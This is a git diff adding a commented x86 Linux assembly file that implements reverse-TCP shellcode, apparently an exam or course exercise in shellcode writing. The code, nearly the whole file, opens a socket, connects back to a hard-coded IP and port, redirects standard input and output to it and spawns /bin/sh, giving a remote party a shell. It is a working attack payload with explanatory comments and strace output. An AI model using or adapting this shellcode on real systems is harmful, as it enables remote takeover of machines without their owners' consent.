diff --git a/exam2/shell_reverse_tcp.nasm b/exam2/shell_reverse_tcp.nasm
new file mode 100644
index 0000000..2b06f53
--- /dev/null
+++ b/exam2/shell_reverse_tcp.nasm
@@ -0,0 +1,197 @@
+; This program is free software: you can redistribute it and/or modify
+; it under the terms of the GNU General Public License as published by
+; the Free Software Foundation, either version 3 of the License, or
+; (at your option) any later version.
+;
+; This program is distributed in the hope that it will be useful,
+; but WITHOUT ANY WARRANTY; without even the implied warranty of
+; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+; GNU General Public License for more details.
+;
+; You should have received a copy of the GNU General Public License
+; along with this program. If not, see .
+
+; Filename: shell_reverse_tcp.nasm
+; Author: Andrey Arapov
+; 2013 March
+;
+; DESC:
+; - Reverse connects to configured IP and Port
+; - Execs Shell on successful connection
+;
+; IP and Port are the last 6 bytes of the shellcode.
+; In hex \xc0\xa8\x01\x01\x30\x45 (0xc0a80101 = 192.168.1.1 AND 0x3045 = 12357)
+;
+
+global _start
+
+
+section .text
+
+_start:
+
+;
+; Reverse engineering
+; $ strace -e execve,socket,bind,connect nc 127.0.0.1 12357
+; execve("/usr/bin/nc", ["nc", "127.0.0.1", "12357"], [/* 59 vars */]) = 0
+; socket(PF_NETLINK, SOCK_RAW, 0) = 3
+; bind(3, {sa_family=AF_NETLINK, pid=0, groups=00000000}, 12) = 0
+;
+; Below starts what we were looking for:
+;
+; socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
+; connect(3, {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)
+;
+
+ ;
+ ; Starting to code
+ ;
+
+ ;
+ ; =============================== SOCKET =====================================
+ ; socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
+ ;
+ ; int socket(int domain, int type, int protocol);
+ ;
+ ; int socketcall(int call, unsigned long *args)
+ ; socketcall SYS_SOCKET socket() args
+ ; EAX EBX ECX
+ ; 102 1 (2, 1, 6)
+ ;
+ ; SYS_SOCKET will return file descriptor (fd) in EAX.
+ ;
+
+ ; EAX
+ xor eax, eax
+ mov al, 102 ; socketcall
+
+ ; EBX
+ xor ebx, ebx
+ mov bl, 1 ; SYS_SOCKET socket()
+
+ ; ECX
+ xor ecx, ecx
+ push ecx
+ push BYTE 6 ; IPPROTO_TCP || int protocol);
+ push BYTE 1 ; SOCK_STREAM || int type,
+ push BYTE 2 ; AF_INET || socket(int domain,
+ mov ecx, esp ; ECX - PTR to arguments for socket()
+ int 0x80
+
+ ; EAX return
+ mov esi, eax ; save socket fd in ESI for later
+
+
+ ;
+ ; =============================== CONNECT =====================================
+ ;
+ ; connect(3, {sa_family=AF_INET, sin_port=htons(12357), sin_addr=inet_addr("127.0.0.1")}, 16) = -1 EINPROGRESS (Operation now in progress)
+ ;
+ ; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
+ ;
+
+ jmp short call_get_ip_and_port
+back2shellcode:
+ pop edi ; getting ip and port address from ESP
+
+ ; EAX
+ xor eax, eax
+ mov al, 102 ; socketcall
+
+ ; EBX
+ xor ebx, ebx
+ mov bl, 3 ; SYS_CONNECT connect()
+
+ ; ECX
+ xor edx, edx
+; push edx ; 0.0.0.0 - ALL interfaces
+; push DWORD 0x0100007f ; 127.0.0.1 in reverse *** CONTAINS NULLs ! ***
+; push DWORD 0x0101a8c0 ; 192.168.1.1 in reverse
+ push DWORD [edi] ; push IP
+ push WORD [edi+0x4] ; push port
+ dec ebx ; decreaes bl from 3 to 2 to use for the next push
+ push WORD bx ; 2 - AF_INET
+ inc ebx ; put back bl to 3 for SYS_CONNECT
+ mov ecx, esp ; ptr to struct sockaddr
+
+ push BYTE 16 ; socklen_t addrlen);
+ push ecx ; const struct sockaddr *addr,
+ push esi ; connect(int sockfd,
+ mov ecx, esp ; ECX = PTR to arguments for connect()
+ int 0x80 ; sockfd will be in EBX
+
+
+
+ ;
+ ; =============================== DUP FD =====================================
+ ;
+ ; Before we spawn a shell, we need to forward all I/O (stdin,stdout,stderr)
+ ; to a client. For this, we can dup2 syscall to duplicate a file descriptor.
+ ; man 2 dup2
+ ; int dup2(int oldfd, int newfd);
+ ; EAX, EBX, ECX
+ ; 63 sockfd 0
+ ; 63 sockfd 1
+ ; 63 sockfd 2
+ ;
+
+ ; move our sockfd to EAX
+ mov eax, ebx
+
+ xor eax, eax
+ mov al, 63 ; dup2 syscall
+ xor ecx, ecx ; 0 - stdin
+ int 0x80 ; call dup2(sockfd, 0)
+
+ mov al, 63 ; dup2 syscall
+ mov cl, 1 ; 1 - stdout
+ int 0x80 ; call dup2(sockfd, 1)
+
+ mov al, 63 ; dup2 syscall
+ mov cl, 2 ; 2 - stderr
+ int 0x80 ; call dup2(sockfd, 2)
+
+
+ ;
+ ; =============================== EXECVE =====================================
+ ;
+ ; Now as we forwarded sockfd to a client, we can spawn shell.
+ ; Prepare the path, in little-endian, using the Python
+ ; >>> '//bin/sh'[::-1].encode('hex')
+ ; '68732f6e69622f2f'
+ ;
+ ; int execve(const char *filename, char *const argv[], char *const envp[]);
+ ; EAX EBX, ECX, EDX
+ ; 11 '//bin/sh' PTR to EBX NULL
+ ;
+ ;
+
+ ; EAX
+ xor eax, eax
+ mov al, 11 ; execve syscall
+
+ ; EBX
+ xor edx, edx
+ push edx ; NULL termination of '//bin/sh' string
+ push 0x68732f6e ; '//bin/sh' in reverse
+ push 0x69622f2f ; beginning of '//bin/sh' string is here
+ mov ebx, esp ; put the address of '//bin/sh' into ebx via esp
+
+ ; ECX
+ push edx ; NULL termination of a stack
+ push ebx ; load our '//bin/sh' on a stack
+ mov ecx, esp ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string.
+
+ ; EDX
+ push edx ; NULL terminator
+ mov edx, esp ; EDX is a PTR to a stack which has an address to NULL.
+ int 0x80 ; call execve(EBX, ECX, EDX)
+
+
+call_get_ip_and_port:
+ call back2shellcode
+; dd 0x0101a8c0 ; DWORD 192.168.1.1 reverse (in hex)
+ db 0xc0, 0xa8, 0x01, 0x01 ; BYTE 192.168.1.1 straight (in hex)
+; dw 0x4530 ; WORD 12357 reverse (in hex)
+ db 0x30, 0x45 ; BYTE 12357 straight (in hex)
+